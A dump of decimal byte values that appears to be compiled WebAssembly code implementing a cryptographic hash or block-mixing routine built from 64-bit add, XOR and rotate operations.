251,198,232,27,133,32,25,133,32,24,133,32,27,133,32,28,133,32,29,133,32,30,133,32,31,133,34,32,66,1,124,32,14,66,9,134,32,14,66,55,136,132,32,17,133,124,34,14,124,33,23,32,13,66,39,134,32,13,66,25,136,132,32,18,133,34,20,32,15,66,36,134,32,15,66,28,136,132,32,16,133,34,15,32,21,124,34,16,32,28,124,32,19,66,56,134,32,19,66,8,136,132,32,22,133,32,27,124,34,13,124,34,17,124,33,19,32,18,32,13,66,30,134,32,13,66,34,136,132,32,17,133,34,18,124,33,21,32,14,66,24,134,32,14,66,40,136,132,32,23,133,34,14,32,22,32,24,124,32,15,66,54,134,32,15,66,10,136,132,32,16,133,32,37,124,34,15,124,34,16,124,34,17,32,20,66,13,134,32,20,66,51,136,132,32,19,133,34,13,124,33,20,32,14,66,50,134,32,14,66,14,136,132,32,17,133,34,14,32,19,124,33,22,32,13,66,25,134,32,13,66,39,136,132,32,20,133,34,19,32,15,66,34,134,32,15,66,30,136,132,32,16,133,34,15,32,23,124,34,16,32,18,66,17,134,32,18,66,47,136,132,32,21,133,34,13,124,34,17,124,33,18,32,20,32,13,66,29,134,32,13,66,35,136,132,32,17,133,34,20,124,33,23,32,14,66,43,134,32,14,66,21,136,132,32,22,133,34,14,32,15,66,10,134,32,15,66,54,136,132,32,16,133,34,15,32,21,124,34,16,124,34,17,32,29,124,32,19,66,8,134,32,19,66,56,136,132,32,18,133,32,28,124,34,13,124,33,19,32,18,32,32,32,36,124,34,40,124,32,31,66,2,124,32,14,66,35,134,32,14,66,29,136,132,32,17,133,124,34,14,124,33,21,32,13,66,46,134,32,13,66,18,136,132,32,19,133,34,18,32,15,66,39,134,32,15,66,25,136,132,32,16,133,34,15,32,22,124,34,16,32,27,124,32,20,66,22,134,32,20,66,42,136,132,32,23,133,32,24,124,34,13,124,34,17,124,33,20,32,19,32,13,66,36,134,32,13,66,28,136,132,32,17,133,34,19,124,33,22,32,14,66,37,134,32,14,66,27,136,132,32,21,133,34,14,32,23,32,25,124,32,15,66,56,134,32,15,66,8,136,132,32,16,133,32,39,124,34,15,124,34,16,124,34,17,32,18,66,33,134,32,18,66,31,136,132,32,20,133,34,13,124,33,18,32,14,66,27,134,32,14,66,37,136,132,32,17,133,34,14,32,20,124,33,23,32,13,66,17,134,32,13,66,47,136,132,32,18,133,34,20,32,15,66,19,134,32,15,66,45,136,132,32,16,133,34,15,32,21,124,34,16,32,19,66,42,134,32,19,66,22,136,132,32,22,133,34,13,124,34,17,124,33,19,32,18,32,13,66,49,134,32,13,66,15,136,132,32,17,133,34,18,124,33,21,32,14,66,39,134,32,14,66,25,136,132,32,23,133,34,14,32,15,66,14,134,32,15,66,50,136,132,32,16,133,34,15,32,22,124,34,16,124,34,17,32,28,124,32,20,66,44,134,32,20,66,20,136,132,32,19,133,32,27,124,34,13,124,33,20,32,19,32,34,32,31,124,34,41,124,32,30,66,3,124,32,14,66,9,134,32,14,66,55,136,132,32,17,133,124,34,14,124,33,22,32,13,66,39,134,32,13,66,25,136,132,32,20,133,34,19,32,15,66,36,134,32,15,66,28,136,132,32,16,133,34,15,32,23,124,34,16,32,24,124,32,18,66,56,134,32,18,66,8,136,132,32,21,133,32,25,124,34,13,124,34,17,124,33,18,32,20,32,13,66,30,134,32,13,66,34,136,132,32,17,133,34,20,124,33,23,32,14,66,24,134,32,14,66,40,136,132,32,22,133,34,14,32,21,32,26,124,32,15,66,54,134,32,15,66,10,136,132,32,16,133,32,40,124,34,15,124,34,16,124,34,17,32,19,66,13,134,32,19,66,51,136,132,32,18,133,34,13,124,33,19,32,14,66,50,134,32,14,66,14,136,132,32,17,133,34,14,32,18,124,33,21,32,13,66,25,134,32,13,66,39,136,132,32,19,133,34,18,32,15,66,34,134,32,15,66,30,136,132,32,16,133,34,15,32,22,124,34,16,32,20,66,17,134,32,20,66,47,136,132,32,23,133,34,13,124,34,17,124,33,20,32,19,32,13,66,29,134,32,13,66,35,136,132,32,17,133,34,19,124,33,22,32,14,66,43,134,32,14,66,21,136,132,32,21,133,34,14,32,15,66,10,134,32,15,66,54,136,132,32,16,133,34,15,32,23,124,34,16,124,34,17,32,27,124,32,18,66,8,134,32,18,66,56,136,132,32,20,133,32,24,124,34,13,124,33,18,32,20,32,35,32,30,124,34,42,124,32,29,66,4,124,32,14,66,35,134,32,14,66,29,136,132,32,17,133,124,34,14,124,33,23,32,13,66,46,134,32,13,66,18,136,132,32,18,133,34,20,32,15,66,39,134,32,15,66,25,136,132,32,16,133,34,15,32,21,124,34,16,32,25,124,32,19,66,22,134,32,19,66,42,136,132,32,22,133,32,26,124,34,13,124,34,17,124,33,19,32,18,32,13,66,36,134,32,13,66,28,136,132,32,17,133,34,18,124,33,21,32,14,66,37,134,32,14,66,27,136,132,32,23,133,34,14,32,22,32,32,124,32,15,66,56,134,32,15,66,8,136,132,32,16,133,32,41,124,34,15,124,34,16,124,34,17,32,20,66,33,134,32,20,66,31,136,132,32,19,133,34,13,124,33,20,32,14,66,27,134,32,14,66,37,136,132,32,17,133,34,14,32,19,124,33,22,32,13,66,17,134,32,13,66,47,136,132,32,20,133,34,19,32,15,66,19,134,32,15,66,45,136,132,32,16,133,34,15,32,23,124,34,16,32,18,66,42,134,32,18,66,22,136,132,32,21,133,34,13,124,34,17,124,33,18,32,20,32,13,66,49,134,32,13,66,15,136,132,32,17,133,34,20,124,33,23,32,14,66,39,134,32,14,66,25,136,132,32,22,133,34,14,32,15,66,14,134,32,15,66,50,136,132,32,16,133,34,15,32,21,124,34,16,124,34,17,32,24,124,32,19,66,44,134,32,19,66,20,136,132,32,18,133,32,25,124,34,13,124,33,19,32,18,32,36,32,29,124,34,33,124,32,28,66,5,124,32,14,66,9,134,32,14,66,55,136,132,32,17,133,124,34,14,124,33,21,32,13,66,39,134,32,13,66,25,136,132,32,19,133,34,18,32,15,66,36,134,32,15,66,28,136,132,32,16,133,34,15,32,22,124,34,16,32,26,124,32,20,66,56,134,32,20,66,8,136,132,32,23,133,32,32,124,34,13,124,34,17,124,33,20,32,19,32,13,66,30,134,32,13,66,34,136,132,32,17,133,34,19,124,33,22,32,14,66,24,134,32,14,66,40,136,132,32,21,133,34,14,32,23,32,31,124,32,15,66,54,134,32,15,66,10,136,132,32,16,133,32,42,124,34,15,124,34,16,124,34,17,32,18,66,13,134,32,18,66,51,136,132,32,20,133,34,13,124,33,18,32,14,66,50,134,32,14,66,14,136,132,32,17,133,34,14,32,20,124,33,23,32,13,66,25,134,32,13,66,39,136,132,32,18,133,34,20,32,15,66,34,134,32,15,66,30,136,132,32,16,133,34,15,32,21,124,34,16,32,19,66,17,134,32,19,66,47,136,132,32,22,133,34,13,124,34,17,124,33,19,32,18,32,13,66,29,134,32,13,66,35,136,132,32,17,133,34,18,124,33,21,32,14,66,43,134,32,14,66,21,136,132,32,23,133,34,14,32,15,66,10,134,32,15,66,54,136,132,32,16,133,34,15,32,22,124,34,16,124,34,17,32,25,124,32,20,66,8,134,32,20,66,56,136,132,32,19,133,32,26,124,34,13,124,33,20,32,19,32,34,32,28,124,34,43,124,32,27,66,6,124,32,14,66,35,134,32,14,66,29,136,132,32,17,133,124,34,14,124,33,22,32,13,66,46,134,32,13,66,18,136,132,32,20,133,34,19,32,15,66,39,134,32,15,66,25,136,132,32,16,133,34,15,32,23,124,34,16,32,32,124,32,18,66,22,134,32,18,66,42,136,132,32,21,133,32,31,124,34,13,124,34,17,124,33,18,32,20,32,13,66,36,134,32,13,66,28,136,132,32,17,133,34,20,124,33,23,32,14,66,37,134,32,14,66,27,136,132,32,22,133,34,14,32,21,32,30,124,32,15,66,56,134,32,15,66,8,136,132,32,16,133,32,33,124,34,15,124,34,16,124,34,17,32,19,66,33,134,32,19,66,31,136,132,32,18,133,34,13,124,33,19,32,14,66,27,134,32,14,66,37,136,132,32,17,133,34,14,32,18,124,33,21,32,13,66,17,134,32,13,66,47,136,132,32,19,133,34,18,32,15,66,19,134,32,15,66,45,136,132,32,16,133,34,15,32,22,124,34,16,32,20,66,42,134,32,20,66,22,136,132,32,23,133,34,13,124,34,17,124,33,20,32,19,32,13,66,49,134,32,13,66,15,136,132,32,17,133,34,19,124,33,22,32,14,66,39,134,32,14,66,25,136,132,32,21,133,34,14,32,15,66,14,134,32,15,66,50,136,132,32,16,133,34,15,32,23,124,34,16,124,34,17,32,26,124,32,18,66,44,134,32,18,66,20,136,132,32,20,133,32,32,124,34,13,124,33,18,32,20,32,35,32,27,124,34,35,124,32,24,66,7,124,32,14,66,9,134,32,14,66,55,136,132,32,17,133,124,34,14,124,33,23,32,13,66,39,134,32,13,66,25,136,132,32,18,133,34,20,32,15,66,36,134,32,15,66,28,136,132,32,16,133,34,15,32,21,124,34,16,32,31,124,32,19,66,56,134,32,19,66,8,136,132,32,22,133,32,30,124,34,13,124,34,17,124,33,19,32,18,32,13,66,30,134,32,13,66,34,136,132,32,17,133,34,18,124,33,21,32,14,66,24,134,32,14,66,40,136,132,32,23,133,34,14,32,22,32,29,124,32,15,66,54,134,32,15,66,10,136,132,32,16,133,32,43,124,34,15,124,34,16,124,34,17,32,20,66,13,134,32,20,66,51,136,132,32,19,133,34,13,124,33,20,32,14,66,50,134,32,14,66,14,136,132,32,17,133,34,14,32,19,124,33,22,32,13,66,25,134,32,13,66,39,136,132,32,20,133,34,19,32,15,66,34,134,32,15,66,30,136,132,32,16,133,34,15,32,23,124,34,16,32,18,66,17,134,32,18,66,47,136,132,32,21,133,34,13,124,34,17,124,33,18,32,20,32,13,66,29,134,32,13,66,35,136,132,32,17,133,34,20,124,33,23,32,14,66,43,134,32,14,66,21,136,132,32,22,133,34,14,32,15,66,10,134,32,15,66,54,136,132,32,16,133,34,15,32,21,124,34,16,124,34,17,32,32,124,32,19,66,8,134,32,19,66,56,136,132,32,18,133,32,31,124,34,13,124,33,19,32,18,32,38,124,32,25,66,8,124,32,14,66,35,134,32,14,66,29,136,132,32,17,133,124,34,14,124,33,21,32,13,66,46,134,32,13,66,18,136,132,32,19,133,34,18,32,15,66,39,134,32,15,66,25,136,132,32,16,133,34,15,32,22,124,34,16,32,30,124,32,20,66,22,134,32,20,66,42,136,132,32,23,133,32,29,124,34,13,124,34,17,124,33,20,32,19,32,13,66,36,134,32,13,66,28,136,132,32,17,133,34,19,124,33,22,32,14,66,37,134,32,14,66,27,136,132,32,21,133,34,14,32,23,32,28,124,32,15,66,56,134,32,15,66,8,136,132,32,16,133,32,35,124,34,15,124,34,16,124,34,17,32,18,66,33,134,32,18,66,31,136,132,32,20,133,34,13,124,33,18,32,14,66,27,134,32,14,66,37,136,132,32,17,133,34,14,32,20,124,33,23,32,13,66,17,134,32,13,66,47,136,132,32,18,133,34,20,32,15,66,19,134,32,15,66,45,136,132,32,16,133,34,15,32,21,124,34,16,32,19,66,42,134,32,19,66,22,136,132,32,22,133,34,13,124,34,17,124,33,19,32,18,32,13,66,49,134,32,13,66,15,136,132,32,17,133,34,18,124,33,21,32,14,66,39,134,32,14,66,25,136,132,32,23,133,34,14,32,15,66,14,134,32,15,66,50,136,132,32,16,133,34,15,32,22,124,34,16,124,34,17,32,31,124,32,20,66,44,134,32,20,66,20,136,132,32,19,133,32,30,124,34,13,124,33,20,32,19,32,37,124,32,26,66,9,124,32,14,66,9,134,32,14,66,55,136,132,32,17,133,124,34,14,124,33,22,32,13,66,39,134,32,13,66,25,136,132,32,20,133,34,19,32,15,66,36,134,32,15,66,28,136,132,32,16,133,34,15,32,23,124,34,16,32,29,124,32,18,66,56,134,32,18,66,8,136,132,32,21,133,32,28,124,34,13,124,34,17,124,33,18,32,20,32,13,66,30,134,32,13,66,34,136,132,32,17,133,34,20,124,33,23,32,14,66,24,134,32,14,66,40,136,132,32,22,133,34,14,32,21,32,27,124,32,15,66,54,134,32,15,66,10,136,132,32,16,133,32,38,124,34,15,124,34,16,124,34,17,32,19,66,13,134,32,19,66,51,136,132,32,18,133,34,13,124,33,19,32,14,66,50,134,32,14,66,14,136,132,32,17,133,34,14,32,18,124,33,21,32,13,66,25,134,32,13,66,39,136,132,32,19,133,34,18,32,15,66,34,134,32,15,66,30,136,132,32,16,133,34,15,32,22,124,34,16,32,20,66,17,134,32,20,66,47,136,132,32,23,133,34,13,124,34,17,124,33,20,32,19,32,13,66,29,134,32,13,66,35,136,132,32,17,133,34,19,124,33,22,32,14,66,43,134,32,14,66,21,136,132,32,21,133,34,14,32,15,66,10,134,32,15,66,54,136,132,32,16,133,34,15,32,23,124,34,16,124,34,17,32,30,124,32,18,66,8,134,32,18,66,56,136,132,32,20,133,32,29,124,34,13,124,33,18,32,20,32,39,124,32,32,66,10,124,32,14,66,35,134,32,14,66,29,136,132,32,17,133,124,34,14,124,33,23,32,13,66,46,134,32,13,66,18,136,132,32,18,133,34,20,32,15,66,39,134,32,15,66,25,136,132,32,16,133,34,15,32,21,124,34,16,32,28,124,32,19,66,22,134,32,19,66,42,136,132,32,22,133,32,27,124,34,13,124,34,17,124,33,19,32,18,32,13,66,36,134,32,13,66,28,136,132,32,17,133,34,18,124,33,21,32,14,66,37,134,32,14,66,27,136,132,32,23,133,34,14,32,22,32,24,124,32,15,66,56,134,32,15,66,8,136,132,32,16,133,32,37,124,34,15,124,34,16,124,34,17,32,20,66,33,134,32,20,66,31,136,132,32,19,133,34,13,124,33,20,32,14,66,27,134,32,14,66,37,136,132,32,17,133,34,14,32,19,124,33,22,32,13,66,17,134,32,13,66,47,136,132,32,20,133,34,19,32,15,66,19,134,32,15,66,45,136,132,32,16,133,34,15,32,23,124,34,16,32,18,66,42,134,32,18,66,22,136,132,32,21,133,34,13,124,34,17,124,33,18,32,20,32,13,66,49,134,32,13,66,15,136,132,32,17,133,34,20,124,33,23,32,14,66,39,134,32,14,66,25,136,132,32,22,133,34,14,32,15,66,14,134,32,15,66,50,136,132,32,16,133,34,15,32,21,124,34,16,124,34,17,32,29,124,32,19,66,44,134,32,19,66,20,136,132,32,18,133,32,28,124,34,13,124,33,19,32,18,32,40,124,32,31,66,11,124,32,14,66,9,134,32,14,66,55,136,132,32,17,133,124,34,14,124,33,21,32,13,66,39,134,32,13,66,25,136,132,32,19,133,34,18,32,15,66,36,134,32,15,66,28,136,132,32,16,133,34,15,32,22,124,34,16,32,27,124,32,20,66,56,134,32,20,66,8,136,132,32,23,133,32,24,124,34,13,124,34,17,124,33,20,32,19,32,13,66,30,134,32,13,66,34,136,132,32,17,133,34,19,124,33,22,32,14,66,24,134,32,14,66,40,136,132,32,21,133,34,14,32,23,32,25,124,32,15,66,54,134,32,15,66,10,136,132,32,16,133,32,39,124,34,15,124,34,16,124,34,17,32,18,66,13,134,32,18,66,51,136,132,32,20,133,34,13,124,33,18,32,14,66,50,134,32,14,66,14,136,132,32,17,133,34,14,32,20,124,33,23,32,13,66,25,134,32,13,66,39,136,132,32,18,133,34,20,32,15,66,34,134,32,15,66,30,136,132,32,16,133,34,15,32,21,124,34,16,32,19,66,17,134,32,19,66,47,136,132,32,22,133,34,13,124,34,17,124,33,19,32,18,32,13,66,29,134,32,13,66,35,136,132,32,17,133,34,18,124,33,21,32,14,66,43,134,32,14,66,21,136,132,32,23,133,34,14,32,15,66,10,134,32,15,66,54,136,132,32,16,133,34,15,32,22,124,34,16,124,34,17,32,28,124,32,20,66,8,134,32,20,66,56,136,132,32,19,133,32,27,124,34,13,124,33,20,32,19,32,41,124,32,30,66,12,124,32,14,66,35,134,32,14,66,29,136,132,32,17,133,124,34,14,124,33,22,32,13,66,46,134,32,13,66,18,136,132,32,20,133,34,19,32,15,66,39,134,32,15,66,25,136,132,32,16,133,34,15,32,23,124,34,16,32,24,124,32,18,66,22,134,32,18,66,42,136,132,32,21,133,32,25,124,34,13,124,34,17,124,33,18,32,20,32,13,66,36,134,32,13,66,28,136,132,32,17,133,34,20,124,33,23,32,14,66,37,134,32,14,66,27,136,132,32,22,133,34,14,32,21,32,26,124,32,15,66,56,134,32,15,66,8,136,132,32,16,133,32,40,124,34,15,124,34,16,124,34,17,32,19,66,33,134,32,19,66,31,136,132,32,18,133,34,13,124,33,19,32,14,66,27,134,32,14,66,37,136,132,32,17,133,34,14,32,18,124,33,21,32,13,66,17,134,32,13,66,47,136,132,32,19,133,34,18,32,15,66,19,134,32,15,66,45,136,132,32,16,133,34,15,32,22,124,34,16,32,20,66,42,134,32,20,66,22,136,132,32,23,133,34,13,124,34,17,124,33,20,32,19,32,13,66,49,134,32,13,66,15,136,132,32,17,133,34,19,124,33,22,32,14,66,39,134,32,14,66,25,136,132,32,21,133,34,14,32,15,66,14,134,32,15,66,50,136,132,32,16,133,34,15,32,23,124,34,16,124,34,17,32,27,124,32,18,66,44,134,32,18,66,20,136,132,32,20,133,32,24,124,34,13,124,33,18,32,20,32,42,124,32,29,66,13,124,32,14,66,9,134,32,14,66,55,136,132,32,17,133,124,34,14,124,33,23,32,13,66,39,134,32,13,66,25,136,132,32,18,133,34,20,32,15,66,36,134,32,15,66,28,136,132,32,16,133,34,15,32,21,124,34,16,32,25,124,32,19,66,56,134,32,19,66,8,136,132,32,22,133,32,26,124,34,13,124,34,17,124,33,19,32,18,32,13,66,30,134,32,13,66,34,136,132,32,17,133,34,18,124,33,21,32,14,66,24,134,32,14,66,40,136,132,32,23,133,34,14,32,22,32,32,124,32,15,66,54,134,32,15,66,10,136,132,32,16,133,32,41,124,34,15,124,34,16,124,34,17,32,20,66,13,134,32,20,66,51,136,132,32,19,133,34,13,124,33,20,32,14,66,50,134,32,14,66,14,136,132,32,17,133,34,14,32,19,124,33,22,32,13,66,25,134,32,13,66,39,136,132,32,20,133,34,19,32,15,66,34,134,32,15,66,30,136,132,32,16,133,34,15,32,23,124,34,16,32,18,66,17,134,32,18,66,47,136,132,32,21,133,34,13,124,34,17,124,33,18,32,20,32,13,66,29,134,32,13,66,35,136,132,32,17,133,34,20,124,33,23,32,14,66,43,134,32,14,66,21,136,132,32,22,133,34,14,32,15,66,10,134,32,15,66,54,136,132,32,16,133,34,15,32,21,124,34,16,124,34,17,32,24,124,32,19,66,8,134,32,19,66,56,136,132,32,18,133,32,25,124,34,13,124,33,19,32,18,32,33,124,32,28,66,14,124,32,14,66,35,134,32,14,66,29,136,132,32,17,133,124,34,14,124,33,21,32,13,66,46,134,32,13,66,18,136,132,32,19,133,34,18,32,15,66,39,134,32,15,66,25,136,132,32,16,133,34,15,32,22,124,34,16,32,26,124,32,20,66,22,134,32,20,66,42,136,132,32,23,133,32,32,124,34,13,124,34,17,124,33,20,32,19,32,13,66,36,134,32,13,66,28,136,132,32,17,133,34,19,124,33,22,32,14,66,37,134,32,14,66,27,136,132,32,21,133,34,14,32,23,32,31,124,32,15,66,56,134,32,15,66,8,136,132,32,16,133,32,42,124,34,15,124,34,16,124,34,17,32,18,66,33,134,32,18,66,31,136,132,32,20,133,34,13,124,33,18,32,14,66,27,134,32,14,66,37,136,132,32,17,133,34,14,32,20,124,33,23,32,13,66,17,134,32,13,66,47,136,132,32,18,133,34,20,32,15,66,19,134,32,15,66,45,136,132,32,16,133,34,15,32,21,124,34,16,32,19,66,42,134,32,19,66,22,136,132,32,22,133,34,13,124,34,17,124,33,19,32,18,32,13,66,49,134,32,13,66,15,136,132,32,17,133,34,18,124,33,21,32,14,66,39,134,32,14,66,25,136,132,32,23,133,34,14,32,15,66,14,134,32,15,66,50,136,132,32,16,133,34,15,32,22,124,34,16,124,34,17,32,25,124,32,20,66,44,134,32,20,66,20,136,132,32,19,133,32,26,124,34,13,124,33,20,32,19,32,43,124,32,27,66,15,124,32,14,66,9,134,32,14,66,55,136,132,32,17,133,124,34,14,124,33,22,32,13,66,39,134,32,13,66,25,136,132,32,20,133,34,19,32,15,66,36,134,32,15,66,28,136,132,32,16,133,34,15,32,23,124,34,16,32,32,124,32,18,66,56,134,32,18,66,8,136,132,32,21,133,32,31,124,34,13,124,34,17,124,33,18,32,20,32,13,66,30,134,32,13,66,34,136,132,32,17,133,34,20,124,33,23,32,14,66,24,134,32,14,66,40,136,132,32,22,133,34,14,32,21,32,30,124,32,15,66,54,134,32,15,66,10,136,132,32,16,133,32,33,124,34,15,124,34,16,124,34,17,32,19,66,13,134,32,19,66,51,136,132,32,18,133,34,13,124,33,19,32,14,66,50,134,32,14,66,14,136,132,32,17,133,34,14,32,18,124,33,33,32,13,66,25,134,32,13,66,39,136,132,32,19,133,34,21,32,15,66,34,134,32,15,66,30,136,132,32,16,133,34,18,32,22,124,34,16,32,20,66,17,134,32,20,66,47,136,132,32,23,133,34,13,124,34,17,124,33,15,32,19,32,13,66,29,134,32,13,66,35,136,132,32,17,133,34,20,124,33,22,32,14,66,43,134,32,14,66,21,136,132,32,33,133,34,14,32,18,66,10,134,32,18,66,54,136,132,32,16,133,34,19,32,23,124,34,16,124,34,17,32,26,124,32,21,66,8,134,32,21,66,56,136,132,32,15,133,32,32,124,34,13,124,33,18,32,15,32,35,124,32,24,66,16,124,32,14,66,35,134,32,14,66,29,136,132,32,17,133,124,34,14,124,33,23,32,13,66,46,134,32,13,66,18,136,132,32,18,133,34,15,32,19,66,39,134,32,19,66,25,136,132,32,16,133,34,13,32,33,124,34,17,32,31,124,32,20,66,22,134,32,20,66,42,136,132,32,22,133,32,30,124,34,16,124,34,24,124,33,20,32,18,32,16,66,36,134,32,16,66,28,136,132,32,24,133,34,19,124,33,21,32,14,66,37,134,32,14,66,27,136,132,32,23,133,34,14,32,22,32,29,124,32,13,66,56,134,32,13,66,8,136,132,32,17,133,32,43,124,34,13,124,34,17,124,34,24,32,15,66,33,134,32,15,66,31,136,132,32,20,133,34,16,124,33,18,32,14,66,27,134,32,14,66,37,136,132,32,24,133,34,15,32,20,124,33,22,32,16,66,17,134,32,16,66,47,136,132,32,18,133,34,14,32,13,66,19,134,32,13,66,45,136,132,32,17,133,34,13,32,23,124,34,17,32,19,66,42,134,32,19,66,22,136,132,32,21,133,34,16,124,34,24,124,33,19,32,18,32,16,66,49,134,32,16,66,15,136,132,32,24,133,34,18,124,33,20,32,15,66,39,134,32,15,66,25,136,132,32,22,133,34,16,32,13,66,14,134,32,13,66,50,136,132,32,17,133,34,15,32,21,124,34,17,124,34,24,32,32,124,32,14,66,44,134,32,14,66,20,136,132,32,19,133,32,31,124,34,13,124,33,14,32,19,32,38,124,32,25,66,17,124,32,16,66,9,134,32,16,66,55,136,132,32,24,133,124,34,16,124,33,21,32,13,66,39,134,32,13,66,25,136,132,32,14,133,34,19,32,15,66,36,134,32,15,66,28,136,132,32,17,133,34,13,32,22,124,34,24,32,30,124,32,18,66,56,134,32,18,66,8,136,132,32,20,133,32,29,124,34,17,124,34,25,124,33,18,32,14,32,17,66,30,134,32,17,66,34,136,132,32,25,133,34,15,124,33,22,32,16,66,24,134,32,16,66,40,136,132,32,21,133,34,16,32,20,32,28,124,32,13,66,54,134,32,13,66,10,136,132,32,24,133,32,35,124,34,14,124,34,24,124,34,25,32,19,66,13,134,32,19,66,51,136,132,32,18,133,34,17,124,33,13,32,16,66,50,134,32,16,66,14,136,132,32,25,133,34,16,32,18,124,33,20,32,17,66,25,134,32,17,66,39,136,132,32,13,133,34,19,32,14,66,34,134,32,14,66,30,136,132,32,24,133,34,18,32,21,124,34,24,32,15,66,17,134,32,15,66,47,136,132,32,22,133,34,17,124,34,25,124,33,15,32,13,32,17,66,29,134,32,17,66,35,136,132,32,25,133,34,14,124,33,13,32,3,32,16,66,43,134,32,16,66,21,136,132,32,20,133,34,16,32,18,66,10,134,32,18,66,54,136,132,32,24,133,34,24,32,22,124,34,25,124,34,17,32,31,124,32,47,133,34,31,55,3,0,32,12,32,19,66,8,134,32,19,66,56,136,132,32,15,133,32,30,124,32,48,133,34,30,55,3,0,32,11,32,24,66,39,134,32,24,66,25,136,132,32,25,133,34,24,32,20,124,34,25,32,29,124,32,51,133,34,29,55,3,0,32,10,32,14,66,22,134,32,14,66,42,136,132,32,13,133,32,28,124,32,52,133,34,28,55,3,0,32,9,32,13,32,27,124,32,53,133,34,27,55,3,0,32,8,32,24,66,56,134,32,24,66,8,136,132,32,25,133,32,38,124,32,54,133,34,24,55,3,0,32,7,32,15,32,37,124,32,49,133,34,25,55,3,0,32,6,32,26,66,18,124,32,16,66,35,134,32,16,66,29,136,132,32,17,133,124,32,50,133,34,26,55,3,0,32,34,66,255,255,255,255,255,255,255,255,191,127,131,33,34,32,2,65,127,106,34,2,4,64,32,0,33,1,12,1,11,11,32,4,32,46,32,45,66,1,124,32,44,126,124,55,3,0,32,5,32,34,55,3,0,11,236,10,1,67,127,35,4,33,3,35,4,65,128,2,106,36,4,32,2,65,63,76,4,64,32,3,36,4,15,11,32,3,65,192,0,106,33,4,32,3,65,192,1,106,34,5,65,4,106,33,8,32,5,65,8,106,33,9,32,5,65,12,106,33,10,32,5,65,16,106,33,11,32,5,65,20,106,33,12,32,5,65,24,106,33,13,32,5,65,28,106,33,14,32,5,65,32,106,33,15,32,5,65,36,106,33,16,32,5,65,40,106,33,17,32,5,65,44,106,33,18,32,5,65,48,106,33,19,32,5,65,52,106,33,20,32,5,65,56,106,33,21,32,5,65,60,106,33,22,32,3,65,128,1,106,34,6,65,4,106,33,55,32,6,65,8,106,33,56,32,6,65,12,106,33,57,32,6,65,16,106,33,58,32,6,65,20,106,33,59,32,6,65,24,106,33,60,32,6,65,28,106,33,61,32,6,65,32,106,33,62,32,6,65,36,106,33,63,32,6,65,40,106,33,64,32,6,65,44,106,33,65,32,6,65,48,106,33,66,32,6,65,52,106,33,67,32,6,65,56,106,33,68,32,6,65,60,106,33,69,32,0,65,192,0,106,33,23,32,0,65,196,0,106,33,24,32,0,65,44,106,34,25,40,2,0,33,26,32,0,65,48,106,34,27,40,2,0,33,28,32,0,65,52,106,34,29,40,2,0,33,30,32,0,65,56,106,34,31,40,2,0,33,32,32,0,65,60,106,34,33,40,2,0,33,34,32,0,65,4,106,34,35,40,2,0,33,36,32,0,65,8,106,34,37,40,2,0,33,38,32,0,65,12,106,34,39,40,2,0,33,40,32,0,65,16,106,34,41,40,2,0,33,42,32,0,65,20,106,34,43,40,2,0,33,44,32,0,65,24,106,34,45,40,2,0,33,46,32,0,65,28,106,34,47,40,2,0,33,48,32,0,65,32,106,34,49,40,2,0,33,50,32,0,65,36,106,34,51,40,2,0,33,52,32,0,65,40,106,34,53,40,2,0,33,54,3,64,32,3,32,1,41,2,0,55,2,0,32,3,32,1,41,2,8,55,2,8,32,3,32,1,41,2,16,55,2,16,32,3,32,1,41,2,24,55,2,24,32,3,32,1,41,2,32,55,2,32,32,3,32,1,41,2,40,55,2,40,32,3,32,1,41,2,48,55,2,48,32,3,32,1,41,2,56,55,2,56,32,5,32,0,40,2,0,32,1,40,2,0,115,54,2,0,32,8,32,1,40,2,4,32,36,115,54,2,0,32,9,32,1,40,2,8,32,38,115,54,2,0,32,10,32,1,40,2,12,32,40,115,54,2,0,32,11,32,1,40,2,16,32,42,115,54,2,0,32,12,32,1,40,2,20,32,44,115,54,2,0,32,13,32,1,40,2,24,32,46,115,54,2,0,32,14,32,1,40,2,28,32,48,115,54,2,0,32,15,32,1,40,2,32,32,50,115,54,2,0,32,16,32,1,40,2,36,32,52,115,54,2,0,32,17,32,1,40,2,40,32,54,115,54,2,0,32,18,32,1,40,2,44,32,26,115,54,2,0,32,19,32,1,40,2,48,32,28,115,54,2,0,32,20,32,1,40,2,52,32,30,115,54,2,0,32,21,32,1,40,2,56,32,32,115,54,2,0,32,22,32,1,40,2,60,32,34,115,54,2,0,32,3,32,4,65,0,16,13,32,4,32,3,65,128,128,128,8,16,13,32,3,32,4,65,128,128,128,16,16,13,32,4,32,3,65,128,128,128,24,16,13,32,3,32,4,65,128,128,128,32,16,13,32,4,32,3,65,128,128,128,40,16,13,32,3,32,4,65,128,128,128,48,16,13,32,4,32,3,65,128,128,128,56,16,13,32,3,32,4,65,128,128,128,192,0,16,13,32,4,32,6,65,128,128,128,200,0,16,13,32,5,32,4,65,0,16,10,32,4,32,3,65,1,16,10,32,3,32,4,65,2,16,10,32,4,32,3,65,3,16,10,32,3,32,4,65,4,16,10,32,4,32,3,65,5,16,10,32,3,32,4,65,6,16,10,32,4,32,3,65,7,16,10,32,3,32,4,65,8,16,10,32,4,32,5,65,9,16,10,32,0,32,6,40,2,0,32,5,40,2,0,115,32,0,40,2,0,115,54,2,0,32,35,32,55,40,2,0,32,8,40,2,0,115,32,35,40,2,0,115,34,36,54,2,0,32,37,32,56,40,2,0,32,9,40,2,0,115,32,37,40,2,0,115,34,38,54,2,0,32,39,32,57,40,2,0,32,10,40,2,0,115,32,39,40,2,0,115,34,40,54,2,0,32,41,32,58,40,2,0,32,11,40,2,0,115,32,41,40,2,0,115,34,42,54,2,0,32,43,32,59,40,2,0,32,12,40,2,0,115,32,43,40,2,0,115,34,44,54,2,0,32,45,32,60,40,2,0,32,13,40,2,0,115,32,45,40,2,0,115,34,46,54,2,0,32,47,32,61,40,2,0,32,14,40,2,0,115,32,47,40,2,0,115,34,48,54,2,0,32,49,32,62,40,2,0,32,15,40,2,0,115,32,49,40,2,0,115,34,50,54,2,0,32,51,32,63,40,2,0,32,16,40,2,0,115,32,51,40,2,0,115,34,52,54,2,0,32,53,32,64,40,2,0,32,17,40,2,0,115,32,53,40,2,0,115,34,54,54,2,0,32,25,32,65,40,2,0,32,18,40,2,0,115,32,25,40,2,0,115,34,26,54,2,0,32,27,32,66,40,2,0,32,19,40,2,0,115,32,27,40,2,0,115,34,28,54,2,0,32,29,32,67,40,2,0,32,20,40,2,0,115,32,29,40,2,0,115,34,30,54,2,0,32,31,32,68,40,2,0,32,21,40,2,0,115,32,31,40,2,0,115,34,32,54,2,0,32,33,32,69,40,2,0,32,22,40,2,0,115,32,33,40,2,0,115,34,34,54,2,0,32,23,32,23,40,2,0,65,1,106,